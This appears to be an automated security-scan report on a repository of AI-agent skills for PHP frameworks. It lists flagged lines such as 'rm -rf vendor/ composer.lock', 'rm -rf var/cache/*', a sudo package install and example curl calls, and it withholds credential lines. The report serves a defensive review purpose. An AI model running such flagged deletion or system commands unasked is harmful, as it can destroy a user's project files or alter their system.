stripe.client: base_uri: 'https://api.stripe.com' auth_bearer: '%env(STRIPE_SECRET_KEY)%' - Network accessline 350
base_uri: 'https://api.stripe.com' - Access to secretsline 351
[Credential-related source omitted]
skills/symfony-knowledge/references/persistence.md
skills/testing-knowledge/references/advanced-testing.md
- Network accessline 85
$config = new VerifierConfig(); $config->setProviderName('OrderService'); $config->setProviderBaseUrl('http://localhost:8080'); - Network accessline 86
$config->setProviderName('OrderService'); $config->setProviderBaseUrl('http://localhost:8080'); $config->setPactBrokerUri('https://pact-broker.example.com'); - Network accessline 87
$config->setProviderBaseUrl('http://localhost:8080'); - Network accessline 88
$config->setPactBrokerUri('https://pact-broker.example.com'); - Network accessline 247
{ $this->client = HttpClient::create([ 'base_uri' => 'http://localhost:8080', - Network accessline 248
$this->client = HttpClient::create([ 'base_uri' => 'http://localhost:8080', 'timeout' => 30, - Network accessline 249
'base_uri' => 'http://localhost:8080',
skills/troubleshooting-template/SKILL.md
- Dangerous shell operationline 45
rm -rf var/cache/* - Dangerous shell operationline 48
rm -rf vendor/ composer.lock - Dangerous shell operationline 115
sudo apt-get install php8.5-json - Access to secretsline 141
[Credential-related source omitted] - Access to secretsline 146
[Credential-related source omitted] - Dangerous shell operationline 159
rm var/cache/config.php # Other frameworks - Network accessline 213
# Test connectivity curl -v https://api.example.com/health - Network accessline 214
curl -v https://api.example.com/health - Access to secretsline 313
[Credential-related source omitted] - Access to secretsline 327
[Credential-related source omitted] - Network accessline 358
1. **Search existing issues:** [GitHub Issues](https://github.com/vendor/package/issues) - Network accessline 359
2. **Check documentation:** [Docs](https://docs.example.com) - Network accessline 384
- 💬 [GitHub Discussions](https://github.com/vendor/package/discussions) - Network accessline 385
- 📚 [Stack Overflow](https://stackoverflow.com/questions/tagged/package-name) - Access to secretsline 414
[Credential-related source omitted] - Access to secretsline 419
[Credential-related source omitted] - Access to secretsline 420
[Credential-related source omitted] - Network accessline 423
3. Regenerate key at [dashboard](https://example.com/dashboard) - Network accessline 435
- 📖 [Documentation](docs/) - 🐛 [Report Bug](https://github.com/vendor/package/issues/new) - Network accessline 436
- 🐛 [Report Bug](https://github.com/vendor/package/issues/new) - Network accessline 437
- 💬 [Ask Question](https://github.com/vendor/package/discussions)
skills/yii-knowledge/references/dependency-injection.md
- Access to secretsline 299
[Credential-related source omitted]
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Signal confidence: 500 facts
- Network access in code of the SKILL.mdadr-template/SKILL.md:287High confidence
- Network access in code of the SKILL.mdadr-template/SKILL.md:288High confidence
- Access to secrets in prose of the SKILL.md: a variable, placeholder or call, not a stored valueanalyze-ci-config/SKILL.md:40Low confidence
- Dangerous shell operation in code of the SKILL.mdanalyze-docker-build-errors/SKILL.md:138High confidence
- Dangerous shell operation in code of the SKILL.mdanalyze-docker-build-errors/SKILL.md:143High confidence
- Dangerous shell operation in code of the SKILL.mdanalyze-docker-image-size/SKILL.md:61High confidence
- Dangerous shell operation in code of the SKILL.mdanalyze-docker-image-size/SKILL.md:62High confidence
- Dangerous shell operation in code of documentationapi-design-knowledge/references/advanced-api.md:177Low confidence
- Dangerous shell operation in code of documentationapi-design-knowledge/references/advanced-api.md:217Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:21Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:22Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:47Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:48Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:63Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:64Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:78Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:79Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:91Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:92Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:102Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:103Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:113Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:114Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:126Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:127Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:146Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:147Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:372Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:373Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:374Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:385Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:386Low confidence
- Network access in code of documentationapi-design-knowledge/references/error-handling.md:387Low confidence
- Network access in code of the SKILL.mdapi-doc-template/SKILL.md:44High confidence
- Access to secrets in code of the SKILL.mdapi-doc-template/SKILL.md:76High confidence
- Dangerous shell operation in code of documentationcaching-strategies-knowledge/references/redis-patterns.md:249Low confidence
- Network access in code of the SKILL.mdchangelog-template/SKILL.md:17High confidence
- Network access in code of the SKILL.mdchangelog-template/SKILL.md:18High confidence
- Network access in code of the SKILL.mdchangelog-template/SKILL.md:45High confidence
- Network access in code of the SKILL.mdchangelog-template/SKILL.md:46High confidence
- Network access in code of the SKILL.mdchangelog-template/SKILL.md:149High confidence
- Network access in code of the SKILL.mdchangelog-template/SKILL.md:150High confidence
- Network access in code of the SKILL.mdchangelog-template/SKILL.md:225High confidence
- Network access in code of the SKILL.mdchangelog-template/SKILL.md:226High confidence
- Network access in code of the SKILL.mdchangelog-template/SKILL.md:227High confidence
- Network access in code of the SKILL.mdchangelog-template/SKILL.md:228High confidence
- Network access in code of the SKILL.mdchangelog-template/SKILL.md:229High confidence
- Network access in code of the SKILL.mdchangelog-template/SKILL.md:230High confidence
- Network access in code of the SKILL.mdchangelog-template/SKILL.md:231High confidence
- Network access in prose of the SKILL.mdcheck-12-factor-compliance/SKILL.md:8Low confidence
and 450 more
Only the first 500 facts are listed.
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Native | Manifest .claude-plugin/marketplace.json | .claude/skills/<skill-name>/ |
| Codex | Compatible | Standard SKILL.md skills/access-control-knowledge/SKILL.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md skills/access-control-knowledge/SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md skills/access-control-knowledge/SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md skills/access-control-knowledge/SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md skills/access-control-knowledge/SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.